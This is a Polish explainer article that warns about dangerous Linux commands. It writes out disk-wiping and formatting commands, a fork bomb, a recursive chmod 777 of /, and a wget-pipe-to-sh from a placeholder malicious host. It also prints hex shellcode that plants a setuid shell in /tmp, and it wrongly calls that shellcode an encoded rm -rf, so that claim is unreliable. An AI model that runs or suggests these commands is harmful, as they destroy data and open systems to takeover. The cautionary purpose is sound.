Jakie są najbardziej niebezpieczne polecenia Linuksa?
Wielokrotnie zadano mi to pytanie i unikałem odpowiedzi, ponieważ nie ma zamkniętej listy niebezpiecznych poleceń Linuksa .
Masz narzędzia, które pozwalają Ci kontrolować i modyfikować każdy aspekt Twojego systemu operacyjnego. Nie próbuję cię przestraszyć, ale jeśli nie znasz poleceń i narzędzi, możesz dość łatwo unieruchomić swój system.
Zebraliśmy kilka popularnych niebezpiecznych poleceń Linuksa. Zobaczmy, jak działają.
1. rm -rf/*
Ten prawdopodobnie jest najbardziej niebezpiecznym poleceniem krążącym we wszelkiego rodzaju mediach społecznościowych. Trolle często komentują to w różnych dyskusjach.
Polecenie rm
służy do usuwania plików/katalogów. Flagi -r
i -f
są używane do oznaczania usuwania wszystkich plików w określonym katalogu. Bez uprawnień administratora, to polecenie nie zadziała.
Uruchomienie polecenia
sudo rm -rf /
również nie spowoduje żadnych zniszczeń, ponieważ większość dystrybucji zapewnia opcję failsafe. Musisz określić –no-preserve-root, aby faktycznie go uruchomić.
sudo rm -rf / --no-preserve-root
Jednak prostszą wersją tego może być:
sudo rm -rf /*
Rozpocznie się usuwanie wszystkich plików w katalogu głównym, a w pewnym momencie system zawiesza się z komunikatem „Błąd podczas usuwania pliku”…
2. Zastąp swoją partycję
Jeśli znasz systemy plików, prawdopodobnie wiesz, czym jest /dev/sda. Jest to (zazwyczaj) partycja Twojego dysku. Operator >
służy do zapisywania danych wyjściowych poprzedniego polecenia w określonej podanej lokalizacji.
Po uruchomieniu dowolnego polecenia i zapisaniu go do /dev/sda np:
echo "Hello" > /dev/sda
Spowoduje zastąpienie partycji zawierającej wszystkie dane potrzebne do uruchomienia systemu ciągiem „Hello”.
Przenieś wszystko do czarnej dziury
Wewnątrz każdego systemu Linux jest czarna dziura czyli /dev/null.
Cokolwiek wrzucisz w ten obszar, przepadnie na zawsze.
mv /home/user/* /dev/null
Polecenie przeniesie wszystkie dane użytkownika w nicość.
4. Sformatuj dysk twardy
mkfs to narzędzie wiersza poleceń, używane do formatowania dysków i partycji. Jest to bardzo przydatne narzędzie do tworzenia partycji dla różnych instalacji. Ale to samo polecenie może również sformatować twój dysk. Sformatowanie dysku oznacza usunięcie wszystkich plików potrzebnych do uruchomienia systemu.
mkfs.ext4 /dev/sda
tym poleceniem sformatujemy główny dysk startowy
5. Bomba łańcuchowa
Ta uroczo wyglądająca, losowa kombinacja znaków specjalnych i symboli jest wystarczająco potężna, aby zamrozić działający system, wyczerpując zasoby systemowe.
:(){:|:&};:
Będziesz zmuszony do ponownego uruchomienia systemu, co nie jest tak złe, jak inne polecenia z tej listy 🙂
6. Zastąp ważne pliki konfiguracyjne
Operator „>” służy do zapisu do pliku. Po prostu odrzuca wszystko, co już znajduje się w pliku i zapisuje dostarczone do niego nowe dane.
command > config_filename
Teraz, jeśli użyjesz jakiegoś ważnego pliku konfiguracyjnego jako miejsca do zapisywania danych, zastąpi on zawartość, pozostawiając zepsuty system.
7. Zastąp partycję śmieciami
/dev/random to jedno polecenie które może tworzyć śmieci. Połącz to z poleceniem dd i partycją, a otrzymasz Mołotowa
dd if=/dev/random of=/dev/sda
Polecenie dd jest używane jako narzędzie do kopiowania na niskim poziomie. Pobiera losowe dane /dev/random
i zastępuje partycję /dev/sda
śmieciami.
8. Ujawnij swój system wszystkim
W Linuksie wszystko jest plikiem i każdy plik ma określone uprawnienia .
Możesz wyświetlić uprawnienia za pomocą ls -l
. Główny system plików nie jest dostępny dla użytkowników bez uprawnień. Chociaż zapewnia to prywatny i bezpieczny system, możesz go wywrócić do góry nogami za pomocą jednego polecenia.
chmod -R 777/
Powyższe polecenie udostępnia wszystkim wszystkie pliki na partycji głównej. Oznacza to, że każdy korzystający z systemu ma uprawnienia do odczytu, zapisu i wykonywania.
9. Pobierz i uruchom złośliwą zawartość
Jak instalujesz oprogramowanie w Linuksie? Korzystasz z oficjalnego menedżera pakietów lub gotowych do użycia pakietów, takich jak Deb/RPM, Snap. Flatpak itp.
Jednak niektóre programy nie są spakowane, a ich twórcy udostępniają skrypty powłoki do pobrania i uruchomienia. Weźmy na przykład homebrew .
Pobierasz plik powłoki i uruchamiasz go jako root, aby zainstalować oprogramowanie w swoim systemie.
Zawsze powinieneś dokładnie sprawdzić zawartość pobieranego skryptu powłoki przed uruchomieniem go bezpośrednio w ten sposób:
wget http://malicious_source -O- | sh
10. Ukryte polecenia
Istnieje wiele sposobów uruchamiania poleceń w terminalu Linux. Jednym z takich sposobów są polecenia zakodowane szesnastkowo.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Choć wygląda to wymyślnie, jest to zakodowana wersja rm -rf
. Daje taki sam efekt, jak uruchomienie pierwszego polecenia. Dlatego podczas kopiowania i wklejania takich wymyślnych poleceń z internetu zachowaj ostrożność.